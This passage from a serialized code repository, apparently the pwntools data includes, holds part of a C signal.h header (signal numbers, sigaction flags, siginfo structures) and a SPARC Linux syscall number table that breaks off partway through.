SIGIO\t\t22\n#define SIGWINCH\t23\n#define SIGSTOP\t\t24\n#define SIGTSTP\t\t25\n#define SIGCONT\t\t26\n#define SIGTTIN\t\t27\n#define SIGTTOU\t\t28\n#define SIGURG\t\t29\n#define SIGXFSZ\t\t30\n#define SIGUNUSED\t31\n#define SIGRESERVE\tSIGUNUSED\n#define SIGSYS\t\t31\n\n#else\n#error signal layout not yet known\n#endif\n\n#define SIGCLD\t\tSIGCHLD\n#define SIGPOLL\t\tSIGIO\n\n/* These should not be considered constants from userland.  */\n#define SIGLOST\t\tSIGPWR\n#define SIGRTMIN\t32\n#define SIGRTMAX\t(_NSIG-1)\n\n/* SA_FLAGS values: */\n#if defined(__alpha__)\n#define SA_ONSTACK\t0x00000001\n#define SA_RESTART\t0x00000002\n#define SA_NOCLDSTOP\t0x00000004\n#define SA_NODEFER\t0x00000008\n#define SA_RESETHAND\t0x00000010\n#define SA_NOCLDWAIT\t0x00000020 /* not supported yet */\n#define SA_SIGINFO\t0x00000040\n#define SA_INTERRUPT\t0x20000000 /* dummy -- ignored */\n#elif defined(__hppa__)\n#define SA_ONSTACK\t0x00000001\n#define SA_RESETHAND\t0x00000004\n#define SA_NOCLDSTOP\t0x00000008\n#define SA_SIGINFO\t0x00000010\n#define SA_NODEFER\t0x00000020\n#define SA_RESTART\t0x00000040\n#define SA_NOCLDWAIT\t0x00000080 /* not supported yet */\n#define _SA_SIGGFAULT\t0x00000100 /* HPUX */\n#define SA_INTERRUPT\t0x20000000 /* dummy -- ignored */\n#define SA_RESTORER\t0x04000000 /* obsolete -- ignored */\n#elif defined (__sparc__)\n#define SV_SSTACK\t1\t/* This signal handler should use sig-stack */\n#define SV_INTR\t\t2\t/* Sig return should not restart system call */\n#define SV_RESET\t4\t/* Set handler to SIG_DFL upon taken signal */\n#define SV_IGNCHILD\t8\t/* Do not send SIGCHLD */\n\n#define SA_NOCLDSTOP\tSV_IGNCHILD\n#define SA_STACK\tSV_SSTACK\n#define SA_ONSTACK\tSV_SSTACK\n#define SA_RESTART\tSV_INTR\n#define SA_RESETHAND\tSV_RESET\n#define SA_INTERRUPT\t0x10\n#define SA_NODEFER\t0x20\n#define SA_SHIRQ\t0x40\n#define SA_NOCLDWAIT\t0x100\t/* not supported yet */\n#define SA_SIGINFO\t0x200\n#else\n#if defined (__mips__)\n#define SA_NOCLDSTOP\t0x00000001\n#define SA_SIGINFO\t0x00000008\n#define SA_NOCLDWAIT\t0x00010000 /* Not supported yet */\n#else\n#define SA_NOCLDSTOP\t0x00000001\n#define SA_NOCLDWAIT\t0x00000002 /* not supported yet */\n#define SA_SIGINFO\t0x00000004\n#endif\n#if defined(__arm__)\n#define SA_THIRTYTWO\t0x02000000\n#endif\n#define SA_RESTORER\t0x04000000\n#define SA_ONSTACK\t0x08000000\n#define SA_RESTART\t0x10000000\n#define SA_INTERRUPT\t0x20000000 /* dummy -- ignored */\n#define SA_NODEFER\t0x40000000\n#define SA_RESETHAND\t0x80000000\n#endif\n\n/* ugh, historic Linux legacy, for gpm :-( */\n#define SA_NOMASK\tSA_NODEFER\n#define SA_ONESHOT\tSA_RESETHAND\n\n/* sigaltstack controls */\n#define SS_ONSTACK\t1\n#define SS_DISABLE\t2\n\n#define MINSIGSTKSZ\t2048\n#define SIGSTKSZ\t8192\n\n#if defined(__sparc__)\n#define SIG_BLOCK\t1\n#define SIG_UNBLOCK\t2\n#define SIG_SETMASK\t4\n#elif defined(__alpha__) || defined(__mips__)\n#define SIG_BLOCK\t1\n#define SIG_UNBLOCK\t2\n#define SIG_SETMASK\t3\n#else\n#define SIG_BLOCK\t0\t/* for blocking signals */\n#define SIG_UNBLOCK\t1\t/* for unblocking signals */\n#define SIG_SETMASK\t2\t/* for setting the signal mask */\n#endif\n\ntypedef int sig_atomic_t;\n\ntypedef void (*sighandler_t)(int);\n\n#ifdef _BSD_SOURCE\ntypedef sighandler_t sig_t;\n#endif\n\n#ifdef _GNU_SOURCE\ntypedef sighandler_t __sighandler_t;\t/* shoot the glibc people! */\n#endif\n\n#define SIG_DFL ((sighandler_t)0L)\t/* default signal handling */\n#define SIG_IGN ((sighandler_t)1L)\t/* ignore signal */\n#define SIG_ERR ((sighandler_t)-1L)\t/* error return from signal */\n\ntypedef union sigval {\n  int sival_int;\n  void *sival_ptr;\n} sigval_t;\n\n#define SI_MAX_SIZE\t128\n#if __WORDSIZE == 64\n#define SI_PAD_SIZE\t((SI_MAX_SIZE/sizeof(int32_t)) - 4)\n#else\n#define SI_PAD_SIZE\t((SI_MAX_SIZE/sizeof(int32_t)) - 3)\n#endif\n\n#ifdef __sparc_v9__\ntypedef int32_t __band_t;\n#else\ntypedef long __band_t;\n#endif\n\ntypedef struct siginfo {\n  int32_t si_signo;\n  int32_t si_errno;\n  int32_t si_code;\n  union {\n    int32_t _pad[SI_PAD_SIZE];\n    /* kill() */\n    struct {\n      pid_t _pid;\t\t/* sender's pid */\n      uid_t _uid;\t\t/* sender's uid */\n    } _kill;\n    /* POSIX.1b timers */\n    struct {\n      uint32_t _timer1;\n      uint32_t _timer2;\n    } _timer;\n    /* POSIX.1b signals */\n    struct {\n      pid_t _pid;\t\t/* sender's pid */\n      uid_t _uid;\t\t/* sender's uid */\n      sigval_t _sigval;\n    } _rt;\n    /* SIGCHLD */\n    struct {\n      pid_t _pid;\t\t/* which child */\n      uid_t _uid;\t\t/* sender's uid */\n      int32_t _status;\t\t/* exit code */\n      clock_t _utime;\n      clock_t _stime;\n    } _sigchld;\n    /* SIGILL, SIGFPE, SIGSEGV, SIGBUS */\n    struct {\n      void *_addr; /* faulting insn/memory ref. */\n    } _sigfault;\n    /* SIGPOLL */\n    struct {\n      __band_t _band;\t/* POLL_IN, POLL_OUT, POLL_MSG */\n      int32_t _fd;\n    } _sigpoll;\n  } _sifields;\n} siginfo_t;\n\n/*\n * How these fields are to be accessed.\n */\n#define si_pid\t\t_sifields._kill._pid\n#define si_uid\t\t_sifields._kill._uid\n#define si_status\t_sifields._sigchld._status\n#define si_utime\t_sifields._sigchld._utime\n#define si_stime\t_sifields._sigchld._stime\n#define si_value\t_sifields._rt._sigval\n#define si_int\t\t_sifields._rt._sigval.sival_int\n#define si_ptr\t\t_sifields._rt._sigval.sival_ptr\n#define si_addr\t\t_sifields._sigfault._addr\n#define si_band\t\t_sifields._sigpoll._band\n#define si_fd\t\t_sifields._sigpoll._fd\n\n/* Values for `si_code'.  Positive values are reserved for kernel-generated\n   signals.  */\nenum {\n  SI_ASYNCNL = -6,\t\t/* Sent by asynch name lookup completion.  */\n# define SI_ASYNCNL\tSI_ASYNCNL\n  SI_SIGIO,\t\t\t/* Sent by queued SIGIO. */\n# define SI_SIGIO\tSI_SIGIO\n  SI_ASYNCIO,\t\t\t/* Sent by AIO completion.  */\n# define SI_ASYNCIO\tSI_ASYNCIO\n  SI_MESGQ,\t\t\t/* Sent by real time mesq state change.  */\n# define SI_MESGQ\tSI_MESGQ\n  SI_TIMER,\t\t\t/* Sent by timer expiration.  */\n# define SI_TIMER\tSI_TIMER\n  SI_QUEUE,\t\t\t/* Sent by sigqueue.  */\n# define SI_QUEUE\tSI_QUEUE\n  SI_USER,\t\t\t/* Sent by kill, sigsend, raise.  */\n# define SI_USER\tSI_USER\n  SI_KERNEL = 0x80\t\t/* Send by kernel.  */\n#define SI_KERNEL\tSI_KERNEL\n};\n\n\n/* `si_code' values for SIGILL signal.  */\nenum {\n  ILL_ILLOPC = 1,\t\t/* Illegal opcode.  */\n# define ILL_ILLOPC\tILL_ILLOPC\n  ILL_ILLOPN,\t\t\t/* Illegal operand.  */\n# define ILL_ILLOPN\tILL_ILLOPN\n  ILL_ILLADR,\t\t\t/* Illegal addressing mode.  */\n# define ILL_ILLADR\tILL_ILLADR\n  ILL_ILLTRP,\t\t\t/* Illegal trap. */\n# define ILL_ILLTRP\tILL_ILLTRP\n  ILL_PRVOPC,\t\t\t/* Privileged opcode.  */\n# define ILL_PRVOPC\tILL_PRVOPC\n  ILL_PRVREG,\t\t\t/* Privileged register.  */\n# define ILL_PRVREG\tILL_PRVREG\n  ILL_COPROC,\t\t\t/* Coprocessor error.  */\n# define ILL_COPROC\tILL_COPROC\n  ILL_BADSTK\t\t\t/* Internal stack error.  */\n# define ILL_BADSTK\tILL_BADSTK\n};\n\n/* `si_code' values for SIGFPE signal.  */\nenum {\n  FPE_INTDIV = 1,\t\t/* Integer divide by zero.  */\n# define FPE_INTDIV\tFPE_INTDIV\n  FPE_INTOVF,\t\t\t/* Integer overflow.  */\n# define FPE_INTOVF\tFPE_INTOVF\n  FPE_FLTDIV,\t\t\t/* Floating point divide by zero.  */\n# define FPE_FLTDIV\tFPE_FLTDIV\n  FPE_FLTOVF,\t\t\t/* Floating point overflow.  */\n# define FPE_FLTOVF\tFPE_FLTOVF\n  FPE_FLTUND,\t\t\t/* Floating point underflow.  */\n# define FPE_FLTUND\tFPE_FLTUND\n  FPE_FLTRES,\t\t\t/* Floating point inexact result.  */\n# define FPE_FLTRES\tFPE_FLTRES\n  FPE_FLTINV,\t\t\t/* Floating point invalid operation.  */\n# define FPE_FLTINV\tFPE_FLTINV\n  FPE_FLTSUB\t\t\t/* Subscript out of range.  */\n# define FPE_FLTSUB\tFPE_FLTSUB\n};\n\n/* `si_code' values for SIGSEGV signal.  */\nenum {\n  SEGV_MAPERR = 1,\t\t/* Address not mapped to object.  */\n# define SEGV_MAPERR\tSEGV_MAPERR\n  SEGV_ACCERR\t\t\t/* Invalid permissions for mapped object.  */\n# define SEGV_ACCERR\tSEGV_ACCERR\n};\n\n/* `si_code' values for SIGBUS signal.  */\nenum {\n  BUS_ADRALN = 1,\t\t/* Invalid address alignment.  */\n# define BUS_ADRALN\tBUS_ADRALN\n  BUS_ADRERR,\t\t\t/* Non-existant physical address.  */\n# define BUS_ADRERR\tBUS_ADRERR\n  BUS_OBJERR\t\t\t/* Object specific hardware error.  */\n# define BUS_OBJERR\tBUS_OBJERR\n};\n\n/* `si_code' values for SIGTRAP signal.  */\nenum {\n  TRAP_BRKPT = 1,\t\t/* Process breakpoint.  */\n# define TRAP_BRKPT\tTRAP_BRKPT\n  TRAP_TRACE\t\t\t/* Process trace trap.  */\n# define TRAP_TRACE\tTRAP_TRACE\n};\n\n/* `si_code' values for SIGCHLD signal.  */\nenum {\n  CLD_EXITED = 1,\t\t/* Child has exited.  */\n# define CLD_EXITED\tCLD_EXITED\n  CLD_KILLED,\t\t\t/* Child was killed.  */\n# define CLD_KILLED\tCLD_KILLED\n  CLD_DUMPED,\t\t\t/* Child terminated abnormally.  */\n# define CLD_DUMPED\tCLD_DUMPED\n  CLD_TRAPPED,\t\t\t/* Traced child has trapped.  */\n# define CLD_TRAPPED\tCLD_TRAPPED\n  CLD_STOPPED,\t\t\t/* Child has stopped.  */\n# define CLD_STOPPED\tCLD_STOPPED\n  CLD_CONTINUED\t\t\t/* Stopped child has continued.  */\n# define CLD_CONTINUED\tCLD_CONTINUED\n};\n\n/* `si_code' values for SIGPOLL signal.  */\nenum {\n  POLL_IN = 1,\t\t\t/* Data input available.  */\n# define POLL_IN\tPOLL_IN\n  POLL_OUT,\t\t\t/* Output buffers available.  */\n# define POLL_OUT\tPOLL_OUT\n  POLL_MSG,\t\t\t/* Input message available.   */\n# define POLL_MSG\tPOLL_MSG\n  POLL_ERR,\t\t\t/* I/O error.  */\n# define POLL_ERR\tPOLL_ERR\n  POLL_PRI,\t\t\t/* High priority input available.  */\n# define POLL_PRI\tPOLL_PRI\n  POLL_HUP\t\t\t/* Device disconnected.  */\n# define POLL_HUP\tPOLL_HUP\n};\n\n#define _SIGSET_WORDS\t(1024 / (8 * sizeof (unsigned long int)))\n\ntypedef struct {\n  unsigned long sig[_SIGSET_WORDS];\n} sigset_t;\n\nstruct sigaction {\n#if defined(__alpha__) || defined(__ia64__) || defined(__hppa__)\n  union {\n    sighandler_t _sa_handler;\n    void (*_sa_sigaction)(int, siginfo_t*, void*);\n  } _u;\n  unsigned long sa_flags;\n  sigset_t sa_mask;\n#elif defined(__mips__)\n  unsigned long sa_flags;\n  union {\n    sighandler_t _sa_handler;\n    void (*_sa_sigaction)(int, siginfo_t*, void*);\n  } _u;\n  sigset_t sa_mask;\n  void (*sa_restorer)(void);\n  int32_t sa_resv[1];\n#else\t/* arm, i386, ppc, s390, sparc, saprc64, x86_64 */\n  union {\n    sighandler_t _sa_handler;\n    void (*_sa_sigaction)(int, siginfo_t*, void*);\n  } _u;\n  unsigned long sa_flags;\n  void (*sa_restorer)(void);\n  sigset_t sa_mask;\n#endif\n};\n\n#define sa_handler\t_u._sa_handler\n#define sa_sigaction\t_u._sa_sigaction\n\n\n#define SIGEV_SIGNAL    0       /* notify via signal */\n#define SIGEV_NONE      1       /* other notification: meaningless */\n#define SIGEV_THREAD    2       /* deliver via thread creation */\n#define SIGEV_THREAD_ID 4       /* deliver to thread */\n\n#define SIGEV_MAX_SIZE  64\n#ifndef SIGEV_PAD_SIZE\n#define SIGEV_PAD_SIZE  ((SIGEV_MAX_SIZE/sizeof(int32_t)) - 3)\n#endif\n\ntypedef struct sigevent {\n  sigval_t sigev_value;\n  int32_t sigev_signo;\n  int32_t sigev_notify;\n  union {\n    int32_t _pad[SIGEV_PAD_SIZE];\n    int32_t _tid;\n\n    struct {\n      void(*_function)(sigval_t);\n      void*_attribute; /* really pthread_attr_t */\n    } _sigev_thread;\n  } _sigev_un;\n} sigevent_t;\n\n#define sigev_notify_function   _sigev_un._sigev_thread._function\n#define sigev_notify_attributes _sigev_un._sigev_thread._attribute\n#define sigev_notify_thread_id  _sigev_un._tid\n\ntypedef struct sigaltstack {\n#if defined(__mips__)\n  void *ss_sp;\n  size_t ss_size;\n  int32_t ss_flags;\n#else\n  void *ss_sp;\n  int32_t ss_flags;\n  size_t ss_size;\n#endif\n} stack_t;\n\nint sigaltstack(const struct sigaltstack *newstack, struct sigaltstack *oldstack) __THROW;\n\nint sigemptyset(sigset_t *set) __THROW;\nint sigfillset(sigset_t *set) __THROW;\nint sigaddset(sigset_t *set, int signum) __THROW;\nint sigdelset(sigset_t *set, int signum) __THROW;\nint sigismember(const sigset_t *set, int signo) __THROW;\nint sigsuspend(const sigset_t *mask) __THROW;\nint sigpending(sigset_t *set) __THROW;\nint sigprocmask(int how, const sigset_t *set, sigset_t *oldset) __THROW;\n\n#ifdef _GNU_SOURCE\nint sigisemptyset(const sigset_t *set) __THROW __pure;\nint sigorset(sigset_t *set, const sigset_t *left, const sigset_t *right) __THROW;\nint sigandset(sigset_t *set, const sigset_t *left, const sigset_t *right) __THROW;\n#endif\n\nsighandler_t signal(int signum, sighandler_t action);\n\nint raise (int sig) __THROW;\nint kill(pid_t pid, int sig) __THROW;\n\nint sigaction(int signum, const struct sigaction *act, struct sigaction *oldact) __THROW;\n\n#include <sys/time.h>\n\nint sigtimedwait(const sigset_t *mask, siginfo_t *info, const struct timespec *ts) __THROW;\nint sigqueueinfo(pid_t pid, int sig, siginfo_t *info) __THROW;\nint siginterrupt(int sig, int flag) __THROW;\n\nint killpg(pid_t pgrp, int sig) __THROW;\n\n/* 0 is OK ! kernel puts in MAX_THREAD_TIMEOUT :) */\n#define sigwaitinfo(m, i) sigtimedwait((m),(i),0)\n\nint sigwait(const sigset_t* set,int* sig) __THROW;\n\nextern const char *const* sys_siglist;\n\n#include <sys/ucontext.h>\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/sparc/syscalls.h",
    "content": "\n#define __NR_exit                 1 /* Common                                      */\n#define __NR_fork                 2 /* Common                                      */\n#define __NR_read                 3 /* Common                                      */\n#define __NR_write                4 /* Common                                      */\n#define __NR_open                 5 /* Common                                      */\n#define __NR_close                6 /* Common                                      */\n#define __NR_wait4                7 /* Common                                      */\n#define __NR_creat                8 /* Common                                      */\n#define __NR_link                 9 /* Common                                      */\n#define __NR_unlink              10 /* Common                                      */\n#define __NR_execv               11 /* SunOS Specific                              */\n#define __NR_chdir               12 /* Common                                      */\n#define __NR_chown\t\t 13 /* Common\t\t\t\t\t   */\n#define __NR_mknod               14 /* Common                                      */\n#define __NR_chmod               15 /* Common                                      */\n#define __NR_lchown              16 /* Common                                      */\n#define __NR_brk                 17 /* Common                                      */\n#define __NR_perfctr             18 /* Performance counter operations              */\n#define __NR_lseek               19 /* Common                                      */\n#define __NR_getpid              20 /* Common                                      */\n#define __NR_capget\t\t 21 /* Linux Specific\t\t\t\t   */\n#define __NR_capset\t\t 22 /* Linux Specific\t\t\t\t   */\n#define __NR_setuid              23 /* Implemented via setreuid in SunOS           */\n#define __NR_getuid              24 /* Common                                      */\n/* #define __NR_time alias\t 25    ENOSYS under SunOS\t\t\t   */\n#define __NR_ptrace              26 /* Common                                      */\n#define __NR_alarm               27 /* Implemented via setitimer in SunOS          */\n#define __NR_sigaltstack\t 28 /* Common\t\t\t\t\t   */\n#define __NR_pause               29 /* Is sigblock(0)->sigpause() in SunOS         */\n#define __NR_utime               30 /* Implemented via utimes() under SunOS        */\n#define __NR_lchown32            31 /* Linux sparc32 specific                      */\n#define __NR_fchown32            32 /* Linux sparc32 specific                      */\n#define __NR_access              33 /* Common                                      */\n#define __NR_nice                34 /* Implemented via get/setpriority() in SunOS  */\n#define __NR_chown32             35 /* Linux sparc32 specific                      */\n#define __NR_sync                36 /* Common                                      */\n#define __NR_kill                37 /* Common                                      */\n#define __NR_stat                38 /* Common                                      */\n#define __NR_sendfile\t\t 39 /* Linux Specific\t\t\t\t   */\n#define __NR_lstat               40 /* Common                                      */\n#define __NR_dup                 41 /* Common                                      */\n#define __NR_pipe                42 /* Common                                      */\n#define __NR_times               43 /* Implemented via getrusage() in SunOS        */\n#define __NR_getuid32            44 /* Linux sparc32 specific                      */\n#define __NR_umount2             45 /* Linux Specific                              */\n#define __NR_setgid              46 /* Implemented via setregid() in SunOS         */\n#define __NR_getgid              47 /* Common                                      */\n#define __NR_signal              48 /* Implemented via sigvec() in SunOS           */\n#define __NR_geteuid             49 /* SunOS calls getuid()                        */\n#define __NR_getegid             50 /* SunOS calls getgid()                        */\n#define __NR_acct                51 /* Common                                      */\n/* #define __NR_memory_ordering  52    Linux sparc64 specific\t\t\t   */\n#define __NR_getgid32            53 /* Linux sparc32 specific                      */\n#define __NR_ioctl               54 /* Common                                      */\n#define __NR_reboot              55 /* Common                                      */\n#define __NR_mmap2\t\t 56 /* Linux sparc32 Specific\t\t\t   */\n#define __NR_symlink             57 /* Common                                      */\n#define __NR_readlink            58 /* Common                                      */\n#define __NR_execve              59 /* Common                                      */\n#define __NR_umask               60 /* Common                                      */\n#define __NR_chroot              61 /* Common                                      */\n#define __NR_fstat               62 /* Common                                      */\n#define __NR_fstat64\t\t 63 /* Linux sparc32 Specific\t\t\t   */\n#define __NR_getpagesize         64 /* Common                                      */\n#define __NR_msync               65 /* Common in newer 1.3.x revs...               */\n#define __NR_vfork               66 /* Common                                      */\n#define __NR_pread               67 /* Linux Specific                              */\n#define __NR_pwrite              68 /* Linux Specific                              */\n#define __NR_geteuid32           69 /* Linux sparc32, sbrk under SunOS             */\n#define __NR_getegid32           70 /* Linux sparc32, sstk under SunOS             */\n#define __NR_mmap                71 /* Common                                      */\n#define __NR_setreuid32          72 /* Linux sparc32, vadvise under SunOS          */\n#define __NR_munmap              73 /* Common                                      */\n#define __NR_mprotect            74 /* Common                                      */\n#define __NR_madvise             75 /* Common                                      */\n#define __NR_vhangup             76 /* Common                                      */\n#define __NR_truncate64\t\t 77 /* Linux sparc32 Specific\t\t\t   */\n#define __NR_mincore             78 /* Common                                      */\n#define __NR_getgroups           79 /* Common                                      */\n#define __NR_setgroups           80 /* Common                                      */\n#define __NR_getpgrp             81 /* Common                                      */\n#define __NR_setgroups32         82 /* Linux sparc32, setpgrp under SunOS          */\n#define __NR_setitimer           83 /* Common                                      */\n#define __NR_ftruncate64\t 84 /* Linux sparc32 Specific\t\t\t   */\n#define __NR_swapon              85 /* Common                                      */\n#define __NR_getitimer           86 /* Common                                      */\n#define __NR_setuid32            87 /* Linux sparc32, gethostname under SunOS      */\n#define __NR_sethostname         88 /* Common                                      */\n#define __NR_setgid32            89 /* Linux sparc32, getdtablesize under SunOS    */\n#define __NR_dup2                90 /* Common                                      */\n#define __NR_setfsuid32          91 /* Linux sparc32, getdopt under SunOS          */\n#define __NR_fcntl               92 /* Common                                      */\n#define __NR_select              93 /* Common                                      */\n#define __NR_setfsgid32          94 /* Linux sparc32, setdopt under SunOS          */\n#define __NR_fsync               95 /* Common                                      */\n#define __NR_setpriority         96 /* Common                                      */\n#define __NR_socket              97 /* Common                                      */\n#define __NR_connect             98 /* Common                                      */\n#define __NR_accept              99 /* Common                                      */\n#define __NR_getpriority        100 /* Common                                      */\n#define __NR_rt_sigreturn       101 /* Linux Specific                              */\n#define __NR_rt_sigaction       102 /* Linux Specific                              */\n#define __NR_rt_sigprocmask     103 /* Linux Specific                              */\n#define __NR_rt_sigpending      104 /* Linux Specific                              */\n#define __NR_rt_sigtimedwait    105 /* Linux Specific                              */\n#define __NR_rt_sigqueueinfo    106 /* Linux Specific                              */\n#define __NR_rt_sigsuspend      107 /* Linux Specific                              */\n#define __NR_setresuid32        108 /* Linux Specific, sigvec under SunOS\t   */\n#define __NR_getresuid32        109 /* Linux Specific, sigblock under SunOS\t   */\n#define __NR_setresgid32        110 /* Linux Specific, sigsetmask under SunOS\t   */\n#define __NR_getresgid32        111 /* Linux Specific, sigpause under SunOS\t   */\n#define __NR_setregid32         112 /* Linux sparc32, sigstack under SunOS         */\n#define __NR_recvmsg            113 /* Common                                      */\n#define __NR_sendmsg            114 /* Common                                      */\n#define __NR_getgroups32        115 /* Linux sparc32, vtrace under SunOS           */\n#define __NR_gettimeofday       116 /* Common                                      */\n#define __NR_getrusage          117 /* Common                                      */\n#define __NR_getsockopt         118 /* Common                                      */\n#define __NR_getcwd\t\t119 /* Linux Specific\t\t\t\t   */\n#define __NR_readv              120 /* Common                                      */\n#define __NR_writev             121 /* Common                                      */\n#define __NR_settimeofday       122 /* Common                                      */\n#define __NR_fchown             123 /* Common                                      */\n#define __NR_fchmod             124 /* Common                                      */\n#define __NR_recvfrom           125 /* Common                                      */\n#define __NR_setreuid           126 /* Common                                      */\n#define __NR_setregid           127 /* Common                                      */\n#define __NR_rename             128 /* Common                                      */\n#define __NR_truncate           129 /* Common                                      */\n#define __NR_ftruncate          130 /* Common                                      */\n#define __NR_flock              131 /* Common                                      */\n#define __NR_lstat64\t\t132 /* Linux sparc32 Specific\t\t\t   */\n#define __NR_sendto             133 /* Common                                      */\n#define __NR_shutdown           134 /* Common                                      */\n#define __NR_socketpair         135 /* Common                                      */\n#define __NR_mkdir              136 /* Common                                      */\n#define __NR_rmdir              137 /* Common                                      */\n#define __NR_utimes             138 /* SunOS Specific                              */\n#define __NR_stat64\t\t139 /* Linux sparc32 Specific\t\t\t   */\n#define __NR_sendfile64         140 /* adjtime under SunOS                         */\n#define __NR_getpeername        141 /* Common                                      */\n#define __NR_futex              142 /* gethostid under SunOS                       */\n#define __NR_gettid             143 /* ENOSYS under SunOS                          */\n#define __NR_getrlimit          144 /* Common                                      */\n#define __NR_setrlimit          145 /* Common                                      */\n#define __NR_pivot_root\t\t146 /* Linux Specific, killpg under SunOS          */\n#define __NR_prctl\t\t147 /* ENOSYS under SunOS                          */\n#define __NR_pciconfig_read\t148 /* ENOSYS under SunOS                          */\n#define __NR_pciconfig_write\t149 /* ENOSYS under SunOS                          */\n#define __NR_getsockname        150 /* Common                                      */\n/* #define __NR_getmsg          151    SunOS Specific                              */\n/* #define __NR_putmsg          152    SunOS Specific                              */\n#define __NR_poll               153 /* Common                                      */\n#define __NR_getdents64\t\t154 /* Linux specific\t\t\t\t   */\n#define __NR_fcntl64\t\t155 /* Linux sparc32 Specific                      */\n/* #define __NR_getdirentires \t156    SunOS Specific                              */\n#define __NR_statfs             157 /* Common                                      */\n#define __NR_fstatfs            158 /* Common                                      */\n#define __NR_umount             159 /* Common                                      */\n#define __NR_sched_set_affinity 160 /* Linux specific, async_daemon under SunOS    */\n#define __NR_sched_get_affinity 161 /* Linux specific, getfh under SunOS           */\n#define __NR_getdomainname      162 /* SunOS Specific                              */\n#define __NR_setdomainname      163 /* Common                                      */\n/* #define __NR_ni_syscall\t164    ENOSYS under SunOS\t\t\t   */\n#define __NR_quotactl           165 /* Common                                      */\n#define __NR_set_tid_address    166 /* Linux specific, exportfs under SunOS        */\n#define __NR_mount              167 /* Common                                      */\n#define __NR_ustat              168 /* Common                                      */\n#define __NR_setxattr           169 /* SunOS: semsys                               */\n#define __NR_lsetxattr          170 /* SunOS: msgsys                               */\n#define __NR_fsetxattr          171 /* SunOS: shmsys                               */\n#define __NR_getxattr           172 /* SunOS: auditsys                             */\n#define __NR_lgetxattr          173 /* SunOS: rfssys                               */\n#define __NR_getdents           174 /* Common                                      */\n#define __NR_setsid             175 /* Common                                      */\n#define __NR_fchdir             176 /* Common                                      */\n#define __NR_fgetxattr          177 /* SunOS: fchroot                              */\n#define __NR_listxattr          178 /* SunOS: vpixsys                              */\n#define __NR_llistxattr         179 /* SunOS: aioread                              */\n#define __NR_flistxattr         180 /* SunOS: aiowrite                             */\n#define __NR_removexattr        181 /* SunOS: aiowait                              */\n#define __NR_lremovexattr       182 /* SunOS: aiocancel                            */\n#define __NR_sigpending         183 /* Common                                      */\n#define __NR_query_module\t184 /* Linux Specific\t\t\t\t   */\n#define __NR_setpgid            185 /* Common                                      */\n#define __NR_fremovexattr       186 /* SunOS: pathconf                             */\n#define __NR_tkill              187 /* SunOS: fpathconf                            */\n#define __NR_exit_group\t\t188 /* Linux specific, sysconf undef SunOS         */\n#define __NR_uname              189 /* Linux Specific                              */\n#define __NR_init_module        190 /* Linux Specific                              */\n#define __NR_personality        191 /* Linux Specific                              */\n#define __NR_remap_file_pages   192 /* Linux Specific                              */\n#define __NR_epoll_create       193 /* Linux Specific                              */\n#define __NR_epoll_ctl          194 /* Linux Specific                              */\n#define __NR_epoll_wait         195 /* Linux Specific                              */\n/* #define __NR_ulimit          196    Linux Specific                              */\n#define __NR_getppid            197 /* Linux Specific                              */\n#define __NR_sigaction          198 /* Linux Specific                              */\n#define __NR_sgetmask           199 /* Linux Specific                              */\n#define __NR_ssetmask           200 /* Linux Specific                              */\n#define __NR_sigsuspend         201 /* Linux Specific                              */\n#define __NR_oldlstat           202 /* Linux Specific                              */\n#define __NR_uselib             203 /* Linux Specific                              */\n#define __NR_readdir            204 /* Linux Specific                              */\n#define __NR_readahead          205 /* Linux Specific                              */\n#define __NR_socketcall         206 /* Linux Specific                              */\n#define __NR_syslog             207 /* Linux Specific                              */\n#define __NR_lookup_dcookie     208 /* Linux Specific                              */\n#define __NR_fadvise64          209 /* Linux Specific                              */\n#define __NR_fadvise64_64       210 /* Linux Specific                              */\n#define __NR_tgkill             211 /* Linux Specific                              */\n#define __NR_waitpid            212 /* Linux Specific                              */\n#define __NR_swapoff            213 /* Linux Specific                              */\n#define __NR_sysinfo            214 /* Linux Specific                              */\n#define __NR_ipc                215 /* Linux Specific                              */\n#define __NR_sigreturn          216 /* Linux Specific                              */\n#define __NR_clone              217 /* Linux Specific                              */\n/* #define __NR_modify_ldt      218    Linux Specific - i386 specific, unused      */\n#define __NR_adjtimex           219 /* Linux Specific                              */\n#define __NR_sigprocmask        220 /* Linux Specific                              */\n#define __NR_create_module      221 /* Linux Specific                              */\n#define __NR_delete_module      222 /* Linux Specific                              */\n#define __NR_get_kernel_syms    223 /* Linux Specific                              */\n#define __NR_getpgid            224 /* Linux Specific                              */\n#define __NR_bdflush            225 /* Linux Specific                              */\n#define __NR_sysfs              226 /* Linux Specific                              */\n#define __NR_afs_syscall        227 /* Linux Specific                              */\n#define __NR_setfsuid           228 /* Linux Specific                              */\n#define __NR_setfsgid           229 /* Linux Specific                              */\n#define __NR__newselect         230 /* Linux Specific                              */\n#define __NR_time               231 /* Linux Specific                              */\n/* #define __NR_oldstat         232    Linux Specific                              */\n#define __NR_stime              233 /* Linux Specific                              */\n#define __NR_statfs64           234 /* Linux Specific                              */\n#define __NR_fstatfs64          235 /* Linux Specific                              */\n#define __NR__llseek            236 /* Linux Specific                              */\n#define __NR_mlock              237\n#define __NR_munlock            238\n#define __NR_mlockall           239\n#define __NR_munlockall         240\n#define __NR_sched_setparam     241\n#define __NR_sched_getparam     242\n#define __NR_sched_setscheduler 243\n#define __NR_sched_getscheduler 244\n#define __NR_sched_yield        245\n#define __NR_sched_get_priority_max 246\n#define __NR_sched_get_priority_min 247\n#define __NR_sched_rr_get_interval  248\n#define __NR_nanosleep          249\n#define __NR_mremap             250\n#define __NR__sysctl            251\n#define __NR_getsid             252\n#define __NR_fdatasync          253\n#define __NR_nfsservctl         254\n#define __NR_aplib              255\n#define __NR_clock_settime\t256\n#define __NR_clock_gettime\t257\n#define __NR_clock_getres\t258\n#define __NR_clock_nanosleep\t259\n#define __NR_sched_getaffinity\t260\n#define __NR_sched_setaffinity\t261\n#define __NR_timer_settime\t262\n#define __NR_timer_gettime\t263\n#define __NR_timer_getoverrun\t264\n#define __NR_timer_delete\t265\n#define __NR_timer_create\t266\n/* #define __NR_vserver\t\t267 Reserved for VSERVER */\n#define __NR_io_setup\t\t268\n#define __NR_io_destroy\t\t269\n#define __NR_io_submit\t\t270\n#define __NR_io_cancel\t\t271\n#define __NR_io_getevents\t272\n#define __NR_mq_open\t\t273\n#define __NR_mq_unlink\t\t274\n#define __NR_mq_timedsend\t275\n#define __NR_mq_timedreceive\t276\n#define __NR_mq_notify\t\t277\n#define __NR_mq_getsetattr\t278\n#define __NR_waitid\t\t279\n#define __NR_sys_setaltroot\t280\n#define 